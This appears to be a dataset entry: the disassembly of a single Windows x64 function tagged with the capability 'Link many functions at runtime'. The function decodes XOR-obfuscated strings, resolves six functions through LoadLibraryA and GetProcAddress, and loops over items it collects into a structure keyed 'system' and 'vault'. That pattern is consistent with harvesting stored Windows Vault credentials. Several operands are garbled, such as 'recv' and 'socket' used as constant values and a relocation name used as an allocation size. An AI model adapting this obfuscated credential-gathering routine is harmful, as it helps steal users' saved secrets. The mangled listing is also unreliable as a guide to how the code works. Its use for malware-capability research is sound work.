Function at 0x14003d860
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x140134bf8]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov dword [rsp + 0x50], 0
mov qword [rbp + 0x270], 0
mov dword [rbp + 0x294], 0
mov dword [rbp + 0x298], 0
xor esi, esi
movabs rax, 0xf79bea6ade1b9c51
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x30], rax
movabs rax, 0xb0d090af33567cf2
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x38], rax
movabs r12, 0x9ef7891eb26efd07
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x360], rax
movabs r13, 0xb0d090af5f3a18dc
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x368], rax
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp + 0xc8], rax
test rax, rax
je 0x14003e807
movabs rsi, 0xeb99cc6ade1b9c51
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x70], rax
movabs rax, 0xd186f5db3e487db1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x78], rax
movabs rax, 0xaaea8cf420894cbc
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x80], rax
movabs r15, 0x1715fc35bee4e5ee
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x88], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x380], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x388], rax
movabs rdi, 0xaaea8cf453fd20c9
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x390], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x398], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
pxor xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x80], xmm1
lea rdx, [rbp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x50], rax
movabs rax, 0xc499f5db3e487db1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x58], rax
movabs rax, 0xaaea8cf4538e4dac
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3a0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3a8], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3b0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3b8], rax
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
pxor xmm1, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp + 0xb0], rax
movabs rax, 0xfb87c66ade1b9c51
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x40], rax
movabs rax, 0xb0d0e4c32a5b4eb2
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x370], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x378], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rbp + 0xc0], rax
movabs rax, 0xea92ce6ade1b9c51
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x10], rax
movabs rax, 0xb0d090af325f6c95
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x18], rax
movabs rsi, 0x9ef7891eb26efd07
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3c0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp + 0xa8], rax
movabs rax, 0xfb85cf6ade1b9c51
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x20], rax
movabs rax, 0xb0d090af5f3a18b9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3d0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3d8], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rbp + 0xa0], rax
movabs rax, 0xf19bca6ade1b9c51
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp], rcx
movabs rax, 0xb0a4fcda3e6c7daf
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 8], rcx
movabs rax, 0x9ef7891eb26efd07
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x320], rcx
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x328], rax
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb8], rax
test rbx, rbx
je 0x14003e807
test rdi, rdi
je 0x14003e807
test r12, r12
je 0x14003e807
test r15, r15
je 0x14003e807
test rsi, rsi
je 0x14003e807
test rax, rax
je 0x14003e807
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x294]
xor ecx, ecx
call rbx
test eax, eax
jne 0x14003e807
xor ebx, ebx
mov dword [rsp + 0x40], ebx
cmp dword [rbp + 0x294], ebx
jbe 0x14003e807
mov r14d, dword [rsp + 0x50]
mov ecx, ebx
shl rcx, 4
add rcx, qword [rbp + 0x270]
lea r8, [rbp + 0x278]
xor edx, edx
call r12
test eax, eax
jne 0x14003e7ee
lea r9, [rbp + 0x288]
lea r8, [rbp + 0x298]
mov edx, 0x200
mov rcx, qword [rbp + 0x278]
call rdi
test eax, eax
jne 0x14003e7ee
mov r13, qword [rbp + 0x288]
xor eax, eax
mov r12d, eax
cmp dword [rbp + 0x298], eax
jbe 0x14003e7d5
jmp 0x14003ddd4
xor eax, eax
xor bl, bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], rax
mov ecx, 0x50
call fcn.1400ae2d0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x2a0], rax
mov eax, r12d
lea rdi, [rax + rax*4]
shl rdi, 4
add rdi, r13
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14003e0a4
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003e0a4
lea rcx, [rbp + 0x2b0]
call fcn.140073180
nop
lea rax, [rbp + 0x198]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0x10
cmovae rdx, qword [rbp + 0x2b0]
mov r8, qword [rbp + 0x2c0]
lea rcx, [rbp + 0xd0]
call fcn.140044320
or r14d, 2
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x198]
call fcn.1400445f0
mov rbx, rax
mov qword [rbp + 0x1d0], rax
movabs rax, 0x9ef7891eb2028f72
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x70], rcx
movabs rax, 0xb0d090af5f3a18dc
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x78], rcx
movabs rcx, 0x9ef7891eb26efd07
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x330], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x338], rax
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003df32
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x20]
call fcn.140032030
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x2a0]
call fcn.140045910
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140043070
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14003dfc9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dfc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8bc
call fcn.1400ae030
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], recv
mov byte [rbp - 0x20], cl
mov r14d, dword [rsp + 0x50]
and r14d, 0xfffffffd
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14003e02b
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e024
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8c2
call fcn.1400ae030
xor ecx, ecx
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], socket
mov byte [rbp + 0xd0], 0
mov bl, 1
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x14003e089
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e082
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8c8
call fcn.1400ae030
xor ecx, ecx
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], socket
mov byte [rbp + 0x2b0], 0
jmp 0x14003e0a6
xor ecx, ecx
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x14003e324
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003e324
lea rcx, [rbp + 0x2d0]
call fcn.140073180
nop
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0x10
cmovae rdx, qword [rbp + 0x2d0]
mov r8, qword [rbp + 0x2e0]
lea rcx, [rbp + 0xf0]
call fcn.140044320
or r14d, 8
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1a8]
call fcn.1400445f0
mov rbx, rax
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9ef7891ec00b8e72
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rcx
movabs rax, 0xb0d090af5f3a18dc
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x78], rcx
movabs rcx, 0x9ef7891eb26efd07
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x340], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xor eax, eax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003e1b5
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.140032030
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x2a0]
call fcn.140045910
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140043070
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14003e24b
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e246
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8ce
call fcn.1400ae030
xor ecx, ecx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], recv
mov byte [rbp - 0x40], cl
mov r14d, dword [rsp + 0x50]
and r14d, 0xfffffff7
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14003e2ad
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e2a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8d4
call fcn.1400ae030
xor ecx, ecx
mov qword [rbp + 0x100], rcx
mov qword [rbp + 0x108], socket
mov byte [rbp + 0xf0], 0
mov bl, 1
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x14003e30b
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e304
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8da
call fcn.1400ae030
xor ecx, ecx
mov qword [rbp + 0x2e0], rcx
mov qword [rbp + 0x2e8], socket
mov byte [rbp + 0x2d0], 0
mov qword [rbp + 0x280], rcx
lea rax, [rbp + 0x280]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rcx
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rdi + 0x20]
mov r8, qword [rdi + 0x18]
mov rdx, rdi
mov rcx, qword [rbp + 0x278]
call r15
test eax, eax
jne 0x14003e5f7
mov rcx, qword [rbp + 0x280]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14003e5f0
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003e5f0
lea rcx, [rbp + 0x2f0]
call fcn.140073180
nop
lea rax, [rbp + 0x1b8]
mov qword [rbp + 0x170], rax
lea rdx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0x10
cmovae rdx, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x110]
call fcn.140044320
or r14d, 0x10
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1b8]
call fcn.1400445f0
mov rbx, rax
mov qword [rbp + 0x178], rax
movabs rax, 0x9ef7891ec11d9c77
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x70], rcx
movabs rax, 0xb0d090af5f3a18dc
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x68], rcx
movabs rcx, 0x9ef7891eb26efd07
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x350], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor edi, edi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14003e480
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x60]
call fcn.140032030
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a0]
call fcn.140045910
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140043070
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14003e515
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e510
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8e0
call fcn.1400ae030
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], recv
mov byte [rbp - 0x60], 0
mov r14d, dword [rsp + 0x50]
and r14d, 0xffffffef
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x14003e574
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e56f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e85e
call fcn.1400ae030
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], socket
mov byte [rbp + 0x110], 0
mov bl, 1
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x14003e5d0
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e5cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e8b6
call fcn.1400ae030
mov qword [rbp + 0x300], rdi
mov qword [rbp + 0x308], socket
mov byte [rbp + 0x2f0], 0
mov rcx, qword [rbp + 0x280]
test rcx, rcx
je 0x14003e5f7
call rsi
test bl, bl
je 0x14003e7a7
lea rax, [rbp + 0x130]
mov qword [rbp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xor edi, edi
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rdi
lea r8d, [rdi + 6]
lea rdx, str.system
lea rcx, [rbp + 0x130]
call fcn.140032030
nop
lea rdx, [rbp + 0x130]
lea rcx, [0x140135110]
call fcn.140040e50
mov rbx, rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x188], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], rdi
lea r8d, [rdi + 5]
lea rdx, str.vault
lea rcx, [rbp + 0x150]
call fcn.140032030
nop
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.140040e50
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x58], dil
xor eax, eax
mov qword [rsp + 0x60], rax
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140043070
mov byte [rsp + 0x58], 1
mov rdi, qword [rbp + 0x2a0]
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400ae2d0
mov rsi, rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call fcn.14005a720
mov qword [rbp + 0x318], 0
mov qword [rsp + 0x60], rsi
movzx eax, byte [r15]
test al, al
je 0x14003e730
cmp al, 2
jne 0x14003e864
jmp 0x14003e74d
mov byte [r15], 2
mov dl, 2
lea rcx, [rbp + 0x98]
call fcn.1400428d0
mov rax, qword [rbp + 0x98]
mov qword [r15 + 8], rax
mov rcx, qword [r15 + 8]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14003e780
mov qword [rbp + 0x190], rdx
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rdx], xmm0
xor dl, dl
mov byte [rsp + 0x58], dl
mov qword [rsp + 0x60], 0
add qword [rcx + 8], 0x10
jmp 0x14003e78f
lea r8, [rsp + 0x58]
call fcn.14004bb00
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140043070
mov rsi, qword [rbp + 0xa0]
mov r15, qword [rbp + 0xa8]
lea rcx, [rbp + 0x2a0]
call fcn.1400404b0
inc r12d
cmp r12d, dword [rbp + 0x298]
jb 0x14003ddd2
mov r13, qword [rbp + 0x288]
mov ebx, dword [rsp + 0x40]
mov rdi, qword [rbp + 0xb0]
mov rcx, r13
call rsi
mov rcx, qword [rbp + 0x278]
call qword [rbp + reloc.SHLWAPI.dll_IStream_Read]
mov r12, qword [rbp + 0xc0]
inc ebx
mov dword [rsp + 0x40], ebx
cmp ebx, dword [rbp + 0x294]
jb 0x14003dd73
mov r14, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x14003e820
call rsi
mov qword [rbp + 0x270], 0
test r14, r14
je 0x14003e82e
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.1400ae010
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140091028
nop
mov rcx, r15
call fcn.140042a90
mov qword [rbp + 0x90], rax
lea r8, [rbp + 0x90]
lea rdx, str.cannot_use_push_back___with
lea rcx, [rbp + 0x250]
call fcn.140046640
nop
mov r8, rax
mov edx, 0x134
lea rcx, [rbp + 0x218]
call fcn.140046710
lea rdx, [0x1401319d0]
lea rcx, [rbp + 0x218]
call fcn.1400b11d8
nop
call fcn.140091028
nop
call fcn.140091028
nop
call fcn.140091028
nop
call fcn.140091028
nop
call fcn.140091028
nop
call fcn.140091028
nop
call fcn.140091028
nop
call fcn.140091028
int3